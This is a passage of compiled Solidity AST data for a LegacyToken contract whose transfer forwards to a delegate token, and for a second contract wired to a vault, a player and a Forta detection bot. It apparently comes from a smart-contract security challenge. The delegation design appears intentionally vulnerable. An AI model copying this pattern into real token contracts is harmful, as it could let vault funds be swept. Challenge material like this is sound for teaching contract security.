(address,uint256)"}},"id":51666,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2126:17:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51667,"nodeType":"ExpressionStatement","src":"2126:17:71"}]},"functionSelector":"40c10f19","implemented":true,"kind":"function","modifiers":[{"id":51661,"kind":"modifierInvocation","modifierName":{"id":51660,"name":"onlyOwner","nameLocations":["2106:9:71"],"nodeType":"IdentifierPath","referencedDeclaration":46619,"src":"2106:9:71"},"nodeType":"ModifierInvocation","src":"2106:9:71"}],"name":"mint","nameLocation":"2066:4:71","parameters":{"id":51659,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51656,"mutability":"mutable","name":"to","nameLocation":"2079:2:71","nodeType":"VariableDeclaration","scope":51669,"src":"2071:10:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51655,"name":"address","nodeType":"ElementaryTypeName","src":"2071:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51658,"mutability":"mutable","name":"amount","nameLocation":"2091:6:71","nodeType":"VariableDeclaration","scope":51669,"src":"2083:14:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51657,"name":"uint256","nodeType":"ElementaryTypeName","src":"2083:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"2070:28:71"},"returnParameters":{"id":51662,"nodeType":"ParameterList","parameters":[],"src":"2116:0:71"},"scope":51720,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51682,"nodeType":"FunctionDefinition","src":"2156:114:71","nodes":[],"body":{"id":51681,"nodeType":"Block","src":"2231:39:71","nodes":[],"statements":[{"expression":{"id":51679,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51677,"name":"delegate","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51654,"src":"2241:8:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51678,"name":"newContract","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51672,"src":"2252:11:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"src":"2241:22:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"id":51680,"nodeType":"ExpressionStatement","src":"2241:22:71"}]},"functionSelector":"1d2d8400","implemented":true,"kind":"function","modifiers":[{"id":51675,"kind":"modifierInvocation","modifierName":{"id":51674,"name":"onlyOwner","nameLocations":["2221:9:71"],"nodeType":"IdentifierPath","referencedDeclaration":46619,"src":"2221:9:71"},"nodeType":"ModifierInvocation","src":"2221:9:71"}],"name":"delegateToNewContract","nameLocation":"2165:21:71","parameters":{"id":51673,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51672,"mutability":"mutable","name":"newContract","nameLocation":"2201:11:71","nodeType":"VariableDeclaration","scope":51682,"src":"2187:25:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"},"typeName":{"id":51671,"nodeType":"UserDefinedTypeName","pathNode":{"id":51670,"name":"DelegateERC20","nameLocations":["2187:13:71"],"nodeType":"IdentifierPath","referencedDeclaration":51463,"src":"2187:13:71"},"referencedDeclaration":51463,"src":"2187:13:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"visibility":"internal"}],"src":"2186:27:71"},"returnParameters":{"id":51676,"nodeType":"ParameterList","parameters":[],"src":"2231:0:71"},"scope":51720,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51719,"nodeType":"FunctionDefinition","src":"2276:272:71","nodes":[],"body":{"id":51718,"nodeType":"Block","src":"2352:196:71","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51700,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":51694,"name":"delegate","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51654,"src":"2374:8:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}],"id":51693,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2366:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51692,"name":"address","nodeType":"ElementaryTypeName","src":"2366:7:71","typeDescriptions":{}}},"id":51695,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2366:17:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"hexValue":"30","id":51698,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2395:1:71","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":51697,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2387:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51696,"name":"address","nodeType":"ElementaryTypeName","src":"2387:7:71","typeDescriptions":{}}},"id":51699,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2387:10:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2366:31:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":51716,"nodeType":"Block","src":"2462:80:71","statements":[{"expression":{"arguments":[{"id":51710,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51684,"src":"2509:2:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51711,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51686,"src":"2513:5:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"expression":{"id":51712,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"2520:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51713,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2524:6:71","memberName":"sender","nodeType":"MemberAccess","src":"2520:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51708,"name":"delegate","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51654,"src":"2483:8:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"id":51709,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2492:16:71","memberName":"delegateTransfer","nodeType":"MemberAccess","referencedDeclaration":51462,"src":"2483:25:71","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$_t_address_$returns$_t_bool_$","typeString":"function (address,uint256,address) external returns (bool)"}},"id":51714,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2483:48:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":51691,"id":51715,"nodeType":"Return","src":"2476:55:71"}]},"id":51717,"nodeType":"IfStatement","src":"2362:180:71","trueBody":{"id":51707,"nodeType":"Block","src":"2399:57:71","statements":[{"expression":{"arguments":[{"id":51703,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51684,"src":"2435:2:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51704,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51686,"src":"2439:5:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":51701,"name":"super","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-25,"src":"2420:5:71","typeDescriptions":{"typeIdentifier":"t_type$_t_super$_LegacyToken_$51720_$","typeString":"type(contract super LegacyToken)"}},"id":51702,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2426:8:71","memberName":"transfer","nodeType":"MemberAccess","referencedDeclaration":47399,"src":"2420:14:71","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,uint256) returns (bool)"}},"id":51705,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2420:25:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":51691,"id":51706,"nodeType":"Return","src":"2413:32:71"}]}}]},"baseFunctions":[47399],"functionSelector":"a9059cbb","implemented":true,"kind":"function","modifiers":[],"name":"transfer","nameLocation":"2285:8:71","overrides":{"id":51688,"nodeType":"OverrideSpecifier","overrides":[],"src":"2328:8:71"},"parameters":{"id":51687,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51684,"mutability":"mutable","name":"to","nameLocation":"2302:2:71","nodeType":"VariableDeclaration","scope":51719,"src":"2294:10:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51683,"name":"address","nodeType":"ElementaryTypeName","src":"2294:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51686,"mutability":"mutable","name":"value","nameLocation":"2314:5:71","nodeType":"VariableDeclaration","scope":51719,"src":"2306:13:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51685,"name":"uint256","nodeType":"ElementaryTypeName","src":"2306:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"2293:27:71"},"returnParameters":{"id":51691,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51690,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":51719,"src":"2346:4:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":51689,"name":"bool","nodeType":"ElementaryTypeName","src":"2346:4:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"2345:6:71"},"scope":51720,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"arguments":[{"hexValue":"4c6567616379546f6b656e","id":51647,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1984:13:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_0ee2e886d48b449eae8c58f774e5f0080cabd01bbf86d262bcecfd0ead310326","typeString":"literal_string \"LegacyToken\""},"value":"LegacyToken"},{"hexValue":"4c4754","id":51648,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1999:5:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_40ef642736e132b36c3ad2894c4d80ce0afe649c34017ca8cb01deee50079ab7","typeString":"literal_string \"LGT\""},"value":"LGT"}],"baseName":{"id":51646,"name":"ERC20","nameLocations":["1978:5:71"],"nodeType":"IdentifierPath","referencedDeclaration":47861,"src":"1978:5:71"},"id":51649,"nodeType":"InheritanceSpecifier","src":"1978:27:71"},{"baseName":{"id":51650,"name":"Ownable","nameLocations":["2007:7:71"],"nodeType":"IdentifierPath","referencedDeclaration":46700,"src":"2007:7:71"},"id":51651,"nodeType":"InheritanceSpecifier","src":"2007:7:71"}],"canonicalName":"LegacyToken","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[51720,46700,47861,47964,47939,48281],"name":"LegacyToken","nameLocation":"1963:11:71","scope":51851,"usedErrors":[],"usedEvents":[46601,47873,47882]},{"id":51850,"nodeType":"ContractDefinition","src":"2552:1365:71","nodes":[{"id":51730,"nodeType":"VariableDeclaration","src":"2649:26:71","nodes":[],"constant":false,"functionSelector":"d444d8a0","mutability":"mutable","name":"cryptoVault","nameLocation":"2664:11:71","scope":51850,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51729,"name":"address","nodeType":"ElementaryTypeName","src":"2649:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":51732,"nodeType":"VariableDeclaration","src":"2681:21:71","nodes":[],"constant":false,"functionSelector":"48db5f89","mutability":"mutable","name":"player","nameLocation":"2696:6:71","scope":51850,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51731,"name":"address","nodeType":"ElementaryTypeName","src":"2681:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":51734,"nodeType":"VariableDeclaration","src":"2708:28:71","nodes":[],"constant":false,"functionSelector":"26fe9951","mutability":"mutable","name":"delegatedFrom","nameLocation":"2723:13:71","scope":51850,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51733,"name":"address","nodeType":"ElementaryTypeName","src":"2708:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":51737,"nodeType":"VariableDeclaration","src":"2742:18:71","nodes":[],"constant":false,"functionSelector":"d8670e1f","mutability":"mutable","name":"forta","nameLocation":"2755:5:71","scope":51850,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"},"typeName":{"id":51736,"nodeType":"UserDefinedTypeName","pathNode":{"id":51735,"name":"Forta","nameLocations":["2742:5:71"],"nodeType":"IdentifierPath","referencedDeclaration":51577,"src":"2742:5:71"},"referencedDeclaration":51577,"src":"2742:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"visibility":"public"},{"id":51772,"nodeType":"FunctionDefinition","src":"2767:288:71","nodes":[],"body":{"id":51771,"nodeType":"Block","src":"2867:188:71","nodes":[],"statements":[{"expression":{"id":51750,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51748,"name":"delegatedFrom","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51734,"src":"2877:13:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51749,"name":"legacyToken","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51739,"src":"2893:11:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2877:27:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":51751,"nodeType":"ExpressionStatement","src":"2877:27:71"},{"expression":{"id":51756,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51752,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51737,"src":"2914:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":51754,"name":"fortaAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51743,"src":"2928:12:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51753,"name":"Forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51577,"src":"2922:5:71","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Forta_$51577_$","typeString":"type(contract Forta)"}},"id":51755,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2922:19:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"src":"2914:27:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"id":51757,"nodeType":"ExpressionStatement","src":"2914:27:71"},{"expression":{"id":51760,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51758,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51732,"src":"2951:6:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51759,"name":"playerAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51745,"src":"2960:13:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2951:22:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":51761,"nodeType":"ExpressionStatement","src":"2951:22:71"},{"expression":{"id":51764,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51762,"name":"cryptoVault","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51730,"src":"2983:11:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51763,"name":"vaultAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51741,"src":"2997:12:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2983:26:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":51765,"nodeType":"ExpressionStatement","src":"2983:26:71"},{"expression":{"arguments":[{"id":51767,"name":"cryptoVault","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51730,"src":"3025:11:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"313030","id":51768,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3038:9:71","subdenomination":"ether","typeDescriptions":{"typeIdentifier":"t_rational_100000000000000000000_by_1","typeString":"int_const 100000000000000000000"},"value":"100"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_100000000000000000000_by_1","typeString":"int_const 100000000000000000000"}],"id":51766,"name":"_mint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47678,"src":"3019:5:71","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256)"}},"id":51769,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3019:29:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51770,"nodeType":"ExpressionStatement","src":"3019:29:71"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":51746,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51739,"mutability":"mutable","name":"legacyToken","nameLocation":"2787:11:71","nodeType":"VariableDeclaration","scope":51772,"src":"2779:19:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51738,"name":"address","nodeType":"ElementaryTypeName","src":"2779:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51741,"mutability":"mutable","name":"vaultAddress","nameLocation":"2808:12:71","nodeType":"VariableDeclaration","scope":51772,"src":"2800:20:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51740,"name":"address","nodeType":"ElementaryTypeName","src":"2800:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51743,"mutability":"mutable","name":"fortaAddress","nameLocation":"2830:12:71","nodeType":"VariableDeclaration","scope":51772,"src":"2822:20:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51742,"name":"address","nodeType":"ElementaryTypeName","src":"2822:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51745,"mutability":"mutable","name":"playerAddress","nameLocation":"2852:13:71","nodeType":"VariableDeclaration","scope":51772,"src":"2844:21:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51744,"name":"address","nodeType":"ElementaryTypeName","src":"2844:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2778:88:71"},"returnParameters":{"id":51747,"nodeType":"ParameterList","parameters":[],"src":"2867:0:71"},"scope":51850,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51784,"nodeType":"ModifierDefinition","src":"3061:115:71","nodes":[],"body":{"id":51783,"nodeType":"Block","src":"3089:87:71","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51778,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":51775,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3107:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51776,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3111:6:71","memberName":"sender","nodeType":"MemberAccess","src":"3107:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":51777,"name":"delegatedFrom","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51734,"src":"3121:13:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"3107:27:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4e6f74206c656761637920636f6e7472616374","id":51779,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3136:21:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_d53c3dd2b8b8bbdc39671c54443b1e626049f3606ea5f078539eb33f51f6c68f","typeString":"literal_string \"Not legacy contract\""},"value":"Not legacy contract"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_d53c3dd2b8b8bbdc39671c54443b1e626049f3606ea5f078539eb33f51f6c68f","typeString":"literal_string \"Not legacy contract\""}],"id":51774,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"3099:7:71","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":51780,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3099:59:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51781,"nodeType":"ExpressionStatement","src":"3099:59:71"},{"id":51782,"nodeType":"PlaceholderStatement","src":"3168:1:71"}]},"name":"onlyDelegateFrom","nameLocation":"3070:16:71","parameters":{"id":51773,"nodeType":"ParameterList","parameters":[],"src":"3086:2:71"},"virtual":false,"visibility":"internal"},{"id":51824,"nodeType":"ModifierDefinition","src":"3182:480:71","nodes":[],"body":{"id":51823,"nodeType":"Block","src":"3205:457:71","nodes":[],"statements":[{"assignments":[51787],"declarations":[{"constant":false,"id":51787,"mutability":"mutable","name":"detectionBot","nameLocation":"3223:12:71","nodeType":"VariableDeclaration","scope":51823,"src":"3215:20:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51786,"name":"address","nodeType":"ElementaryTypeName","src":"3215:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":51795,"initialValue":{"arguments":[{"arguments":[{"id":51792,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51732,"src":"3271:6:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51790,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51737,"src":"3246:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"id":51791,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3252:18:71","memberName":"usersDetectionBots","nodeType":"MemberAccess","referencedDeclaration":51496,"src":"3246:24:71","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_contract$_IDetectionBot_$51471_$","typeString":"function (address) view external returns (contract IDetectionBot)"}},"id":51793,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3246:32:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}],"id":51789,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"3238:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51788,"name":"address","nodeType":"ElementaryTypeName","src":"3238:7:71","typeDescriptions":{}}},"id":51794,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3238:41:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"3215:64:71"},{"assignments":[51797],"declarations":[{"constant":false,"id":51797,"mutability":"mutable","name":"previousValue","nameLocation":"3340:13:71","nodeType":"VariableDeclaration","scope":51823,"src":"3332:21:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51796,"name":"uint256","nodeType":"ElementaryTypeName","src":"3332:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":51802,"initialValue":{"arguments":[{"id":51800,"name":"detectionBot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51787,"src":"3378:12:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51798,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51737,"src":"3356:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"id":51799,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3362:15:71","memberName":"botRaisedAlerts","nodeType":"MemberAccess","referencedDeclaration":51500,"src":"3356:21:71","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns 